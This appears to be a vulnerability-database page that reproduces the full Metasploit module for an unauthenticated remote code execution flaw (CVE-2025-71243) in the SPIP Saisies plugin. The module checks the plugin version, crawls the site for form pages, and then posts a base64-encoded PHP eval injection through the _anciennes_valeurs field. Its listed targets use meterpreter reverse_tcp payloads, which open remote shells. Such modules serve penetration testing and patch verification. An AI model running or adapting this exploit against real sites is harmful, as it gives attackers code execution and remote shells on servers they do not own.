Lucene search
K

πŸ“„ SPIP Saisies 5.11.0 Remote Code Execution

πŸ—“οΈΒ 10 Mar 2026Β 00:00:00Reported byΒ Valentin Lobstein, OpenStudioTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 90Β Views

Unauthenticated PHP code execution in SPIP Saisies plugin via unsanitized _anciennes_valeurs in a hidden field.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-71243
19 Feb 202614:58
–attackerkb
GithubExploit
Exploit for CVE-2025-71243
19 Feb 202616:13
–githubexploit
Circl
CVE-2025-71243
19 Feb 202616:31
–circl
CNNVD
SPIP 代码注ε…₯漏洞
19 Feb 202600:00
–cnnvd
CVE
CVE-2025-71243
19 Feb 202614:58
–cve
Cvelist
CVE-2025-71243 SPIP Saisies Plugin < 5.11.1 Remote Code Execution
19 Feb 202614:58
–cvelist
Metasploit
SPIP Saisies Plugin Unauthenticated RCE
9 Mar 202618:57
–metasploit
Nuclei
SPIP Saisies - Remote Code Execution
1 Jun 202605:38
–nuclei
NVD
CVE-2025-71243
19 Feb 202616:27
–nvd
Packet Storm
πŸ“„ SPIP Saisies 5.11.0 Remote Code Execution
24 Feb 202600:00
–packetstorm
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Spip
      prepend Msf::Exploit::Remote::AutoCheck
    
      FORM_PARAM = '_anciennes_valeurs'.freeze
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SPIP Saisies Plugin Unauthenticated RCE',
            'Description' => %q{
              This module exploits an unauthenticated PHP code injection in the SPIP
              Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
              interpolated unsanitized into a hidden field rendered with
              interdire_scripts=false, allowing direct PHP code execution via template
              eval.
    
              Exploitation requires a publicly accessible page containing a
              saisies-powered form, most commonly created with the Formidable plugin.
              Use the FORM_PAGE option to specify a known form page, or set it to
              'crawl' to automatically discover one by following internal links from
              the SPIP sitemap.
    
              Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
            },
            'Author' => [
              'OpenStudio', # Discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>' # PoC and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-71243'],
              ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'],
              ['URL', 'https://plugins.spip.net/saisies']
            ],
            'Targets' => [
              [
                'PHP In-Memory', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2025-02-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('FORM_PAGE', [
            true,
            'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover',
            'crawl'
          ]),
          OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100])
        ])
      end
    
      def check
        version = spip_plugin_version('saisies')
        if version
          print_status("Saisies plugin version: #{version}")
          if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
            return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
          end
    
          return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
        end
    
        spip_ver = spip_version
        return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver
    
        CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
      end
    
      # Find a page containing a saisies form (_anciennes_valeurs parameter).
      # When FORM_PAGE is set to a specific page name, only that page is checked.
      # When set to 'crawl', the module fetches the SPIP sitemap and follows
      # internal links until a form is found or CRAWL_MAX_PAGES is reached.
      def find_form_page
        if datastore['FORM_PAGE'].downcase != 'crawl'
          page = datastore['FORM_PAGE']
          if page.start_with?('/')
            return page if saisies_form?(page)
    
            fail_with(Failure::NotFound, "No saisies form found at #{page}")
          end
    
          uri = normalize_uri(target_uri.path, 'spip.php')
          full_uri = "#{uri}?page=#{page}"
          return full_uri if saisies_form?(uri, 'page' => page)
    
          fail_with(Failure::NotFound, "No saisies form found at #{full_uri}")
        end
    
        crawl_for_form
      end
    
      def saisies_form?(uri, vars_get = {})
        res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get)
        res&.code == 200 && res.body.include?(FORM_PARAM)
      end
    
      def crawl_for_form
        max_pages = datastore['CRAWL_MAX_PAGES']
        seen = Set.new
        queue = []
    
        # Seed with the SPIP sitemap page
        plan_path = normalize_uri(target_uri.path, 'spip.php')
        plan_uri = "#{plan_path}?page=plan"
        res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' })
        if res&.code == 200
          seen.add(plan_uri)
          extract_internal_links(res).each { |link| queue << link }
        end
    
        # Also seed with the base URL
        base_uri = normalize_uri(target_uri.path, 'spip.php')
        queue << base_uri unless seen.include?(base_uri)
    
        print_status("Crawling for saisies forms (max #{max_pages} pages)...")
    
        until queue.empty? || seen.size >= max_pages
          uri = queue.shift
          next if seen.include?(uri)
    
          seen.add(uri)
          vprint_status("Checking #{uri}")
    
          begin
            res = send_request_cgi('method' => 'GET', 'uri' => uri)
          rescue ::Rex::ConnectionError
            next
          end
    
          next unless res&.code == 200
    
          if res.body.include?(FORM_PARAM)
            print_good("Form found at #{uri} (checked #{seen.size} pages)")
            return uri
          end
    
          extract_internal_links(res).each do |link|
            queue << link unless seen.include?(link)
          end
        end
    
        fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.")
      end
    
      # Extract internal links from an HTML response, filtering out static assets.
      def extract_internal_links(res)
        links = []
        doc = res.get_html_document
        return links unless doc
    
        doc.css('a[href]').each do |a|
          href = a['href'].to_s.strip
          next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)
    
          # Resolve protocol-relative URLs (//example.com/page)
          if href.start_with?('//')
            href = "#{ssl ? 'https' : 'http'}:#{href}"
          end
    
          # Resolve absolute URLs to paths
          if href.start_with?('http://', 'https://')
            uri = begin
              URI.parse(href)
            rescue StandardError
              next
            end
            target = begin
              URI.parse(full_uri)
            rescue StandardError
              next
            end
            next unless uri.host == target.host
    
            href = uri.path
            href += "?#{uri.query}" if uri.query
          elsif !href.start_with?('/')
            href = normalize_uri(target_uri.path, href)
          end
    
          links << href
        end
    
        links.uniq
      end
    
      def exploit
        form_uri = find_form_page
    
        print_status('Sending payload...')
    
        phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        b64 = Rex::Text.encode_base64(phped_payload)
        tag = Rex::Text.rand_text_alpha(8)
        injection = "#{tag}' /><?php eval(base64_decode('#{b64}')); ?><input value='#{tag}"
    
        send_request_cgi({
          'method' => 'POST',
          'uri' => form_uri,
          'vars_post' => {
            FORM_PARAM => injection
          }
        }, 5)
      end
    end

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Mar 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 49.3
CVSS 3.19.8
EPSS0.85415
SSVC
90